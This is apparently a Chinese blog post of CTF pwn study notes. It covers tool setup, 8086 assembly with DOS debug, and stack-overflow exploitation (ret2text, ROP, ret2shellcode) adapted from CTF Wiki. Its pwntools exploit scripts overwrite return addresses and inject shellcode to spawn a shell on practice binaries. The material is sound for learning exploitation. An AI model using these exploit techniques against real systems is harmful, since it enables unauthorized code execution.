Featured image of post Pwn芝士学爆

Pwn芝士学爆

Pwn芝士学爆

环境配置

ubuntu24.04安装

软件合集

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
sudo apt install vim -y
sudo apt install gcc -y
sudo apt install git -y
sudo apt install python3-pip -y
sudo mv /usr/lib/python3.12/EXTERNALLY-MANAGED /usr/lib/python3.12/EXTERNALLY-MANAGED.bk
sudo pip install pwntools
sudo apt install ruby -y
sudo apt install ruby-dev -y
sudo gem install one_gadget
sudo gem install seccomp-tools
cd ~/
git clone https://github.com/matrix1001/glibc-all-in-one
cd ~/glibc-all-in-one
sudo python3 update_list
cd ..
sudo apt install patchelf
cd ~/
git clone https://github.com/dsyzy/free-libc
cd ~/free-libc
sudo sh ./install.sh
cd ..
sudo apt install build-essential libssl-dev -y
sudo apt install cmake -y
sudo apt install wabt -y
cd ~/
git clone --recursive https://github.com/WebAssembly/wabt
cd wabt
mkdir build
cd build
cmake ..
cmake --build .
sudo apt install curl -y
curl https://wasmtime.dev/install.sh -sSf | bash
sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients virtinst bridge-utils virt-manager virt-viewer -y

装pwndbg

1
2
3
4
5
6
7
8
cd ~/
git clone https://github.com/pwndbg/pwndbg
cd ~/pwndbg
./setup.sh
git clone https://github.com/scwuaptx/Pwngdb
cp ~/Pwngdb/.gdbinit ~/
vim ~/.gdbinit
source ~/pwndbg/gdbinit.py

汇编

【8086汇编入门】《零基础入门学习汇编语言》_哔哩哔哩_bilibili

CPU工作原理

8086CPU所有的寄存器都是16位,可以存放两个字节

AX,BX,CX,DX通常用来存放一般性数据被称为通用寄存器,都可以分为两个独立的8位寄存器使用,例如AX可以分为AH和AL,后面类似,也就是分为高位和低位

汇编指令

image-20251207221756721

段地址*16+偏移地址=物理地址

偏移地址为16位

段寄存器

就是提供段地址的

8086CPU有4个CS,DS,SS,ES,当它要访问内存时,由这四个提供段地址

CS和IP是8086CPU最关键的寄存器,指示了CPU当前要读取指令的地址,CS是代码寄存器,IP是指针寄存器

8086CPU工作流程:

  1. 从CS:IP指向的内存单元读取指令,读取的指令进入指令缓冲器
  2. IP加上读取指令的长度,从而指向下一条指令
  3. 执行指令

在任何时候,CPU将CS,IP中的内容当作指令的段地址和偏移地址,合成物理地址,在内存中读取指令码,执行

mov不能更改CS,IP的值,但是另一种指令jmp可以

1
2
jmp 段地址:偏移地址
这里的段地址修改CS,然后偏移地址修改IP 

如果仅修改IP的内容

1
2
3
jmp 某一合法寄存器
jmp ax (类似 mov IP,ax)
也就是利用寄存器中的值修改IP

debug的使用

由于debug这个工具是32位的,win10无法使用,先去下个dosbox,然后下载一个debug

去dosbox修改配置

1
2
3
MOUNT C C:\debug
C:
debug

image-20251209225311165

然后现在打开dosbox,会出现两个界面,出现蓝框的是模拟debug界面,现在输入dds:0验证

image-20251209225617998

r指令可以用来查看和修改寄存器的值

image-20251210200943595

同理也可以修改cs和ip

然后d命令用来查看内存中的内容,这里查看的话是空的

a命令用来用汇编形式向内存中写入命令

image-20251210202258940

查看的话d命令后面要跟对cs和ip

image-20251210202425848

u命令的话可以以汇编的形式查看

之前u或者d查看不到是因为cs和ip地址不对,可以修改成这里的地址,就不用带地址查询了

接下来用t命令执行命令

image-20251210203100037

总之一直按t就会一直执行,这里quit退出

e指令就是改指令,用法跟上面几个一样

内存访问

8086CPU中有一个DS寄存器,通常用来存放要访问的数据的段地址

[address]

1
2
3
4
我们现在要读取10000H单元的内容
mov bx,1000
mov ds,bx
mov al,[0]

现在解释一下上面的原理

mov指令的格式

1
mov 寄存器名,内存单元地址

[...]表示一个内存单元,其中的0表示内存单元的偏移地址

执行指令时,8086CPU自动取DS的数据为内存单元的段地址

因此读取10000H的过程就是段地址1000存入ds,然后用[0]表示偏移地址为0,这样就实现读取10000H

但是我们不能直接把1000H放入ds

8086CPU不支持将数据直接送入段寄存器的操作,ds是一个段寄存器

所以存入的方式是:数据->通用寄存器->段寄存器

跟数据结构的栈类似,先进后出

8086CPU提供入栈和出栈的指令:PUSHPOP

1
2
push ax 将ax中的数据送入栈
pop ax 从栈顶取出数据放入ax

入栈和出栈都是以字为单位进行的

8086CPU有两个寄存器,段寄存器SS:存放栈顶的段地址,寄存器SP:存放栈顶的偏移地址

任意时刻,SS:SP指向栈顶元素,栈为空时sp设置为0010H

栈满的时候再使用push入栈,和栈空的时候使用pop出栈都会发生栈顶超界问题,也就是栈溢出

第一个程序

伪指令

1
2
3
4
5
xxx segment //代码段
xxx ends //代码段的结束
end //程序结束
assume //寄存器和段的关联假设
assume cs:codesg //跟定义差不多,就是把cs的段定义为codesg

DOS中的程序运行

Dos是一个单任务操作系统

image-20251214212457141

返回控制权的过程就叫程序返回

实现程序返回,必须要在程序末尾添加固定的返回程序段

1
2
mov ax,4c00H
int 21H

这两条指令实现的功能就是程序返回

image-20251214212959453

现在用notepad++或者其他编辑器,编一个汇编程序

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
assume cs:abc

abc segment
	mov ax,2
	add ax,ax
	add ax,ax
	
	mov ax,4c00H
	int 21H
abc ends

end    

最简单的其实就是去vscode下载DOSBOX插件和MASM/TASM插件,然后直接打开asm文件就行,左下角选择jsdos MASM

image-20251214214724182

运行

image-20251214215524919

会提示没有栈段,没有入口地址,但是后面还是运行了

dos系统中的shell,也就是对应的程序command.com

我们在dos系统中执行exe时,将正在运行的command将exe载入内存,command设置的cs:ip指向程序的第一条指令(程序的入口),从而使程序运行,结束运行后,返回到command中,cpu继续运行command

debug

加上入口的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
assume cs:codeseg

codeseg segment

start:  mov ax,0123H
        mov bx,0456H
        add ax,bx
        add ax,ax

        mov ax,4c00H
	    int 21H
	
codeseg ends

end start   

debug这个程序

image-20251214222601045

可以看到cx的值是F,cx中存放的是程序的长度,也就是程序的机器码共有15个字节

这里观察CS和DS的值,发现他们相差10H

image-20251214230513981

从这个图可以看出,DS和CS的地址之间有一个PSP,dos用来与程序进行通信,256字节后也就是这里的10H加上偏移地址后变成100H的长度后,存放程序

继续debug,一直按t命令执行下一步

当下一步指令是int的时候,我们要用p命令来执行

image-20251214234727952

[BX]和loop指令

[bx]

先写一个代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
assume cs:codeseg

codeseg segment

start: mov ax,2000H
       mov ds,ax
       mov al,[0]
       mov bl,[1]
       mov cl,[2]
       mov dl,[3]

       mov ax,4c00H
       int 21H
    
codeseg ends

end start        

debug一下

image-20251215213235985

这里查看初始的偏移地址都是0,但是下面mov bl那一步居然是1,继续按t命令往后都是有数字的

image-20251215213621108

这就跟这个编译有关系了,这里直接在编译器里面写代码编译是不会识别[...]为内存单元,只会当成数字处理

这里[bx]同样与前面[0]也表示一个内存单元,它的偏移地址在bx中,而前面[0]这种的内存单元的段地址在ds中

1
2
mov ax,[bx]
mov al,[bx]

下面具体学习一下[bx],先写代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
assume cs:codeseg

codeseg segment

start:  mov ax,2000H
        mov ds,ax
        mov bx,1000H
        mov ax,[bx]
        inc bx
        inc bx
        mov [bx],ax
        inc bx
        inc bx
        mov [bx],ax
        inc bx
        mov [bx],al
        inc bx
        mov [bx],al

codeseg ends
end start

这里inc bx的意思是bx+1

mov ax,[bx]这里是将2000:1000的地址的数据给ax

后面自增bx,填入前面传给ax的数据

而前面[...]不能被识别成内存单元的情况,可以改成ds:[...]就可以了

1
mov al,ds:[0]

loop

循环的意思,使用格式是loop 标号

cpu执行loop指令时,要进行两部操作

1
2
cx=cx-1
判断cx中的值,不为零则转至标号处执行程序,为0就向下执行

也就是cx存放循环的次数

比如我们要计算2的12次方,正常来说要相加11次2,这里用loop指令实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
assume cs:codeseg
codeseg segment
start: mov ax,2
       mov cx,11
s:     add ax,ax
       loop s
       mov ax,4c00H
       int 21H
codeseg ends
end start

如果cx很大,也就是循环次数很多,我们debug的时候不可能一直按t到结束

所以先u命令查看loop指令所在ip的值和后面退出循环ip的值,g命令直接跳转到循环后的命令

image-20260122203509509

可以看到我们这里直接从ip为0006的位置跳到了000A的位置,或者直接p指令结束掉

之前给出的ds:[...]前面ds就称为段前缀,ds,cs,ss,es都可以这样用

一段安全的空间

8086中,随意的向一段内存空间写入内容是很危险的,因为这段内存空间可能存放的重要的数据或者代码

image-20260123140030465

段前缀

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
assume cs:code
code segment
start: mov bx,0
       mov cx,12
s:     mov ax,0ffffh
       mov ds,ax
       mov dl,[bx]

       mov ax,0020h
       mov ds,ax
       mov [bx],dl
       inc bx
       loop s

       mov ax,4c00h
       int 21h
code ends
end start

这段程序实现段地址内容0ffffh到0020h的迁移,一次循环需要设置两次ds,非常的麻烦,这里引入es这个段寄存器来存放0020h的段地址,也就是现在两个段寄存器存放两个段地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
assume cs:code
code segment
start: mov bx,0
       mov cx,12
       mov ax,0ffffh
       mov ds,ax
       mov ax,0020h
       mov es,ax


s:     mov dl,[bx]
       mov es:[bx],dl
       inc bx
       loop s

       mov ax,4c00h
       int 21h
code ends
end start

包含多个段的程序

dw意思是define word,可以定义字型数据

1
dw 0123h,xxxh,....,0abch

意思就是把这么多字型数据相加然后存到ax中

由于dw定义的数据处于代码段的最开始,所以偏移地址为0,他们的偏移地址分别是0,2,4,6,8,A,C,E

在代码段中使用栈

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
assume cs:codeseg
codeseg segment
         dw 0123h,0456h,0789h,0ABCh,0defh,0fedh,0cbah,0987h
         dw 0,0,0,0,0,0,0,0
start:   mov ax,cs
         mov ss,ax
         mov sp,32
         mov bx,0
         mov cx,8
s:       push cs:[bx]
         add bx,2
         loop s

         mov bx,0
         mov cx,8         
s0:      pop cs:[bx]
         add bx,2
         loop s0

         mov ah,4ch
         int 21h
codeseg ends
end start                  

将数据、代码、栈放入不同的段

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
assume cs:code,ds:data,ss:stack
data segment
         dw 0123h,0456h,0789h,0ABCh,0defh,0fedh,0cbah,0987h
data ends
stack segment
         dw 0,0,0,0,0,0,0,0
stack ends
code segment
start: mov ax,stack
       mov ss,ax
       mov sp,20h
       mov ax,data
       mov ds,ax
       mov bx,0
       mov cx,8
s:     push [bx]
       add bx,2
       loop s

       mov bx,0
       mov cx,8
s0:    pop [bx]
       add bx,2
       loop s0

       mov ax,4c00h
       int 21h       
code ends
end start

但是实际上,这里定义data和stack是可以随便替换的,比如用a和b来代替

更灵活定位内存地址的方法

and和or指令

就是与和或运算

and:把操作对象的相应位设为0,其他位不变

or:把操作对象的相应位设为1,其他位不变

ascii码

在汇编中表示ascii码可以用'...'来把字符表示为ascii码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
assume cs:code,ds:data
data segment
 db 'unIX'
 db 'foRK'
data ends
code segment
start: mov al,'a'
       mov bl,'b'
       mov ax,4c00h
       int 21h
code ends
end start       

大小写转换问题:大写字母的第五位都是0,小写字母的第五位都是1,这里显然可以用到与和或的性质,把字母进行大小写转换

[bx+idata]

例如mov ax,[bx+200],其实就是正常内存单元的位置+200,也就是偏移地址+200,这个意思ax=ds*16+bx+200

这里写法有很多:[bx+5],[bx].5,5[bx]都是一个意思

SI和DI

SI和DI与bx功能相近的寄存器,但是他们不能分成两个8位寄存器使用

我们常用ds:si指向要复制的原始字符串,用ds:di指向复制的目的空间,用循环完成复制,就是实现前面用bx实现的那个

这个也可以写成两个变量的形式[bx+si],[bx+di],或者写成类似mov ax,[bx][si]

数据处理

在8086CPU中,只有bx,bp,si,di可以在[...]进行内存单元的寻址,在[...]中,只能bx和si,bx和di,bp和si,bp和di四种组合,只要[...]里面使用bp,不指定段地址的话,默认是ss

数据有字符和字型两种类型,前面一种是8字节,后面一种是16字节,用寄存器名可以指明数据的尺寸,没有寄存器名存在情况下,用X ptr指明内存单元的长度,X在汇编指令中可以为word或者byte

1
mov word ptr ds:[0],1

div指令

格式:

1
2
div byte ptr ds:[0] ;含义是al=ax/(ds*16+0)的商,ah=ax/(ds*16+0)的余数
div word ptr ds:[0] ;含义是ax=(ax+dx*10000H)/(ds*16+0)的商,dx=...的余数

伪指令dd

前面我们用db和dw定义字节型数据和字型数据,dd是用来定义dword(double word双字型数据),也就是32位

dup

编译器认识,cpu不认识这个指令

1
2
db 3 dup(0) ;相当于db 0,0,0
db 3 dup(0,1,2) ;相当于db 0,1,2,0,1,2,0,1,2

转移指令

offset

取得标号的偏移地址

image-20260207210049156

jmp

无条件跳转指令,可以只修改IP,也可以同时修改CS和IP,jmp指令一般要给出转移的目的地址,转移的信息

依据位移进行转移的

jmp short标号

image-20260208113654932

1
2
3
4
5
6
7
8
assume cs:codeseg
codeseg segment
start: mov ax,0
       jmp short s
       add ax,1
s:     inc ax
codeseg ends
end start  

image-20260208121158155

转移目的地址的转移

jmp far ptr标号,与前面段内转移不同,这个是不同段之间的转移

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
assume cs:codeseg
codeseg segment
start: mov ax,0
       mov bx,0
       jmp far ptr s
       db 256 dup(0)
s:     add ax,1
       inc ax
codeseg ends
end start              

far ptr指明了要修改的CS和IP

转移地址在寄存器

用法就是jmp 16位寄存器

转移地址在内存中

image-20260208140145723

image-20260208140234407

jcxz指令

意思是如果cx=0,执行jmp short 标号,cx不等于0,直接执行下一步

Call和Ret指令

call和ret都是转移指令,都修改ip或者同时修改cs和ip

ret和retf指令

ret指令用栈中的数据,修改IP的内容,实现近转移

retf指令用栈中数据,修改CS和IP的内容,实现远转移

call指令

call指令先将当前的IP或CS和IP入栈,再进行转移,call指令不能进行短转移

image-20260208192857727

image-20260208193116819

在内存中的和寄存器中的跟前面jmp类似

mul指令

就是乘法

image-20260208194905602

标志寄存器

image-20260208200044825

ZF

zf是零标志位,执行程序结果为0,它就为1,执行程序结果不为0,那它就为0

PF

pf是奇偶标志位,判断结果二进制中1的数量,所有bit位的1的个数为偶数则为1,否则为0

SF

符号标志位,判断结果是否为负,为负则为1,非负为0

CF

进位标志位,CF就是记录比如两数相加的更高位的进位值,记录无符号数运算有意义的标志位

OF

溢出标志位,溢出为1,否则为0,记录有符号数运算有意义的标志位

adc指令

image-20260209112344628

sbb指令

image-20260209112736642

cmp指令

image-20260209113314063

根据cmp指令比较后的值进行条件转移的指令:

image-20260209122943148DF

image-20260209123533656

image-20260209123619079

image-20260209123655474

image-20260209123718894

pushf和popf

pushf的功能是将标志寄存器的值压栈,而popf是从栈中弹出数据,送入标志寄存器中

stack overflow

以下基本照抄ctfwiki的:基本 ROP - CTF Wiki

栈就不多说了,32位和64位程序在调用函数上有明显的区别

x86

函数参数在函数返回地址的上方

x64

System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。

内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。

栈溢出原理

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。

所以发生栈溢出的基本前提是:程序必须向栈上写入数据,写入的数据大小没有被良好的控制

以这里32位程序为例

首先都是checksec查看有无保护和地址随机化

1
2
3
4
5
6
➜  stack-example checksec stack_example
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

这里用gets函数演示,该字符串距离 ebp 的长度为 0x14,那么相应的栈结构为

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
                                           +-----------------+
                                           |     retaddr     |
                                           +-----------------+
                                           |     saved ebp   |
                                    ebp--->+-----------------+
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                              s,ebp-0x14-->+-----------------+

我们可以通过 IDA 获得 success 的地址,其地址为 0x0804843B。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
.text:0804843B success         proc near
.text:0804843B                 push    ebp
.text:0804843C                 mov     ebp, esp
.text:0804843E                 sub     esp, 8
.text:08048441                 sub     esp, 0Ch
.text:08048444                 push    offset s        ; "You Hava already controlled it."
.text:08048449                 call    _puts
.text:0804844E                 add     esp, 10h
.text:08048451                 nop
.text:08048452                 leave
.text:08048453                 retn
.text:08048453 success         endp

由于32位寄存器ebp存放4字节的数据

1
0x14*'a'+'b'*4+success_addr

覆盖后的栈结构为

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
                                           +-----------------+
                                           |    0x0804843B   |
                                           +-----------------+
                                           |       bbbb      |
                                    ebp--->+-----------------+
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                              s,ebp-0x14-->+-----------------+

结合上面的例子,我们得到了栈溢出的几个步骤

寻找危险函数

输入的函数:gets,scanf,vscanf

输出的函数:sprintf

字符串:strcpy,strcat,bcopy

确定padding长度

这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离

我们一般用来覆盖函数返回地址(这个时候直接看EBP就行了)

基本的ROP

当NX开启时,也就是不能传统的注入shellcode的时候,就要考虑用ROP(Return Oriented Programming),其主要思想是在 栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

gadgets 通常是以 ret 结尾的指令序列,通过这样的指令序列,我们可以多次劫持程序控制流,从而运行特定的指令序列,以完成攻击的目的。

ROP这一名称由来就是因为其核心在于利用了指令集中的 ret 指令,从而改变了指令流的执行顺序,并通过数条 gadget “执行” 了一个新的程序。

使用 ROP 攻击一般得满足如下条件:

  • 程序漏洞允许我们劫持控制流,并控制后续的返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

需要注意的是,现代操作系统通常会开启地址随机化保护(ASLR),这意味着 gadgets 在内存中的位置往往是不固定的。但幸运的是其相对于对应段基址的偏移通常是固定的,因此我们在寻找到了合适的 gadgets 之后可以通过其他方式泄漏程序运行环境信息,从而计算出 gadgets 在内存中的真正地址。

32位ROP

假设溢出处的汇编如下

1
2
3
4
5
6
7
0x400000 func:
0x400000    mov eax, 0xdeadbeef
0x400004    ret
0x400005 main:
0x400005    call func
0x400009    mov eax, 0
0x40000b    ret

地址0x0000000c的值为0x400005,如果要挟持返回,我们肯定想着修改0x400005的值,想要getshell,自然要把这里改成system('/bin/sh'),假设现在system的地址是0xf7000000,我们肯定想着把0x400005改成0xf7000000,但是/bin/sh怎么传入呢,假设/bin/sh的地址是0xdeadbeef,但是我们还是不知道怎么传

这里我们回顾一下32位下函数的调用,我们想要调用函数foo(233),实际的汇编代码如下

1
2
3
push 233
call foo
nop

也就是先push233入栈,接着调用call,把返回地址压入栈,跳转到foo函数,此时当foo函数返回的时候,也就是ret指令执行的时候,RSP(ESP)也应该在这个位置,也就是说,foo函数开始执行的时候,RSP(ESP)指向返回地址,而它需要的参数在RSP+4的位置,我们通过ROP挟持返回地址到foo函数时,要确保进入foo函数的瞬间,RSP+4的位置是它第一个参数,而RSP是foo的返回地址

把foo函数替换成前面的system函数,同理可以知道怎么做,前提是我们需要知道system和对应参数的地址

64位ROP

64 位的参数传递是通过寄存器传递的,我们只需要通过控制寄存器的值就可以实现参数传递,因此更多的是通过合适的手段将寄存器修改为我们想要传递的值

在没那么新的 gcc 中,程序都会被编译进一个 _libc_init_csu 函数用于初始化,在这个函数中,有一个汇编片段如下

1
2
pop r15
ret

其中,pop r15 占 2 字节,我们假设其起始地址为 0x8,那么 ret 的地址就是 0xa,如果从 0x9 开始看这个代码片段,由于地址错位的问题,代码片段会变成这样

1
2
pop rdi
ret

这个字节错位弄出来的代码片段,非常有用,因为其 pop rdi 这条指令,让我们有能力通过栈去修改寄存器了,而这个寄存器就是 rdi,那么我们就可以通过栈去修改 rdi 的值,从而实现参数传递了

这些有用的代码片段,我们一般就称为 gadget

64位想要跟32位一样进行ROP,还是考虑返回到 system("/bin/sh")

假设 system 的地址是 0x7f000000"/bin/sh"的地址是 0xdeadbeef

现在覆盖栈如下

地址 如果值为指针,其指向的地址 RSP
0x00000018 0x7f000000 system 的开始
0x00000010 0xdeadbeef “/bin/sh”
0x00000008 gadget pop rdi; ret <-

首先,ret 返回到 pop rdi,此时 RSP 指向了 0x00000010,而 pop rdi 会将 0xdeadbeef 赋给 rdi,这个过程中,RSP 指向了 0x00000018, 然后 ret 返回到 system,此时 RSP 指向了 0x00000020,而 system 的第一个参数就是 rdi,因此 system 的第一个参数就是 0xdeadbeef,也就是 "/bin/sh",从而 getshell 成功

现在我们已经能够实现通过在合适的位置布置地址实现按照一定的顺序调用函数。但是这还不够精细,毕竟我们现在还很难控制调用这些函数时传递的参数

gadget 在这里指的是以 ret 指令结尾的代码片段,例如 leave; ret 就是一个很常用的 gadget。我们可以利用各种合适的 gadget 拼凑出需要的程序逻辑。

获取 gadget 可以使用工具 ROPgadget 获取到 elf 文件中的大部分 gadget。

1
2
ROPgadget --binary xxx
ROPgadget --binary xxx --only "pop|ret" #指定pop rdi;ret这种的gadget

ret2xxx系列

ret2text

ret2text 就是利用 ELF 部分中储存可执行代码的部分(即.text 段),在前面的栈溢出部分,我们已经学习过这个的做法了

以ctfwiki上例题为例

1
2
3
4
5
6
➜  ret2text checksec ret2text
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

只开了NX

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets((char *)&v4);
  printf("Maybe I will tell you next time !");
  return 0;
}

gets存在栈溢出,看text字段

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.text:080485FD secure          proc near
.text:080485FD
.text:080485FD input           = dword ptr -10h
.text:080485FD secretcode      = dword ptr -0Ch
.text:080485FD
.text:080485FD                 push    ebp
.text:080485FE                 mov     ebp, esp
.text:08048600                 sub     esp, 28h
.text:08048603                 mov     dword ptr [esp], 0 ; timer
.text:0804860A                 call    _time
.text:0804860F                 mov     [esp], eax      ; seed
.text:08048612                 call    _srand
.text:08048617                 call    _rand
.text:0804861C                 mov     [ebp+secretcode], eax
.text:0804861F                 lea     eax, [ebp+input]
.text:08048622                 mov     [esp+4], eax
.text:08048626                 mov     dword ptr [esp], offset unk_8048760
.text:0804862D                 call    ___isoc99_scanf
.text:08048632                 mov     eax, [ebp+input]
.text:08048635                 cmp     eax, [ebp+secretcode]
.text:08048638                 jnz     short locret_8048646
.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:08048641                 call    _system

得到shell地址是0x0804863A,利用gets的栈溢出,使返回地址为0x0804863A就能getshell

1
2
3
.text:080486A7                 lea     eax, [esp+1Ch]
.text:080486AB                 mov     [esp], eax      ; s
.text:080486AE                 call    _gets

可以看到是通过相对于esp的索引,把断点下在call处,查看esp和ebp的地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
gef➤  b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
gef➤  r
There is something amazing here, do you know anything?

Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24      gets(buf);
───────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xffffcd5c  →  0x08048329  →  "__libc_start_main"
$ebx   : 0x00000000
$ecx   : 0xffffffff
$edx   : 0xf7faf870  →  0x00000000
$esp   : 0xffffcd40  →  0xffffcd5c  →  0x08048329  →  "__libc_start_main"
$ebp   : 0xffffcdc8  →  0x00000000
$esi   : 0xf7fae000  →  0x001b1db0
$edi   : 0xf7fae000  →  0x001b1db0
$eip   : 0x080486ae  →  <main+102> call 0x8048460 <gets@plt>

得到esp是0xffffcd40,所以前面变量s的地址是esp+0x1c,也就是0xffffcd5c,ebp地址是0xffffcdc8,两个相减得到偏移0x6c,所以exp

1
2
3
4
5
6
7
##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline(b'A' * (0x6c + 4) + p32(target))
sh.interactive()

ret2shellcode

对于没开NX保护的程序,也就是程序的内存中有一段可写且可执行的内存,可以通过提前向其中写入 shellcode,然后再通过控制返回地址使程序执行 shellcode,shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。通常情况下,shellcode 需要我们自行编写,即此时我们需要自行向内存中填充一些可执行的代码

需要注意的是,在新版内核当中引入了较为激进的保护策略,程序中通常不再默认有同时具有可写与可执行的段,这使得传统的 ret2shellcode 手法不再能直接完成利用

如何生成shellcode

以下面这个程序为例子,这个程序首先通过 mmap 申请了一块有执行权限的内存,起始地址为 0xdead0000,然后通过 read 读入内容,同时后面还有一个栈溢出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// gcc test.c -no-pie -fno-stack-protector -g
#include <stdio.h>
#include <stdlib.h>

int main() {
    mmap(0xdead0000, 0x1000, 7, 0x21, -1, 0);

    char *p = (char *)0xdead0000;
    char str[0x20];

    read(0, p, 0x1000);

    read(0, str, 0x50);

    return 0;
}

对应的exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"

p = process("./a.out")

elf = ELF("./a.out")

p.send(asm(shellcraft.sh()).ljust(0x1000, b"\x00"))

payload = b"A" * 0x38
payload += p64(0xDEAD0000)
p.send(payload)

p.interactive()

上面这个 exp 中,shellcraft.sh() 函数用于生成获取 shell 的 shellcode 的汇编指令,而 asm 函数用于将汇编指令转化为机器码。

还是以ctfwiki的例题为例

1
2
3
4
5
6
7
➜  ret2shellcode checksec ret2shellcode
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

没有栈保护,并且有可读,可写,可执行段

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets((char *)&v4);
  strncpy(buf2, (const char *)&v4, 0x64u);
  printf("bye bye ~");
  return 0;
}

可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。

1
2
.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]

在main函数下断点调试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
gef➤  b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gef➤  r
Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode 

Breakpoint 1, main () at ret2shellcode.c:8
8       setvbuf(stdout, 0LL, 2, 0LL);
─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]────
      6  int main(void)
      7  {
8      setvbuf(stdout, 0LL, 2, 0LL);
      9      setvbuf(stdin, 0LL, 1, 0LL);
     10  
─────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048536 → Name: main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  vmmap 
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fac000 0x001af000 --- /lib/i386-linux-gnu/libc-2.23.so
0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb2000 0x00000000 rwx 
0xf7fd3000 0xf7fd5000 0x00000000 rwx 
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rwx 
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
